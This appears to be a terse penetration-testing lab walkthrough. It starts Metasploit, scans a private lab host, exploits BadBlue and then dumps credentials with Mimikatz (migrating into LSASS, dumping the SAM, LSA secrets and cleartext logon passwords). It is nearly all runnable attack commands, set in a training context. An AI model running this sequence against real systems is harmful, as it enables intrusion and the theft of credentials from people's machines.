Lab
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a mimikatz
Set Global Variables
setg RHOSTS 10.3.25.146
setg RHOST 10.3.25.146
Scan with db_nmap
db_nmap -sC -sV 10.3.25.146 -Pn
Exploit BadBlue
use exploit/windows/http/badblue_passthru
exploit
Mimikatz (kiwi)
Load the kiwi extension, then migrate into LSASS so Mimikatz can read credentials from memory:
load kiwi
pgrep lsass # migrate to LSASS service
migrate 788
Dump all credentials:
creds_all
Dump the SAM database:
lsa_dump_sam
Dump the LSA secrets:
lsa_dump_secrets
Upload the Mimikatz Binary (Manual Use)
The mimikatz binary can also be uploaded and run by hand (an x86 version is available alongside the x64 one):
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
Then, inside mimikatz:
privilege::debug
sekurlsa::logonpasswords
lsadump::hash
privilege::debugenables debug rights.sekurlsa::logonpasswordsdumps cleartext logon passwords.lsadump::hashdumps the SAM database.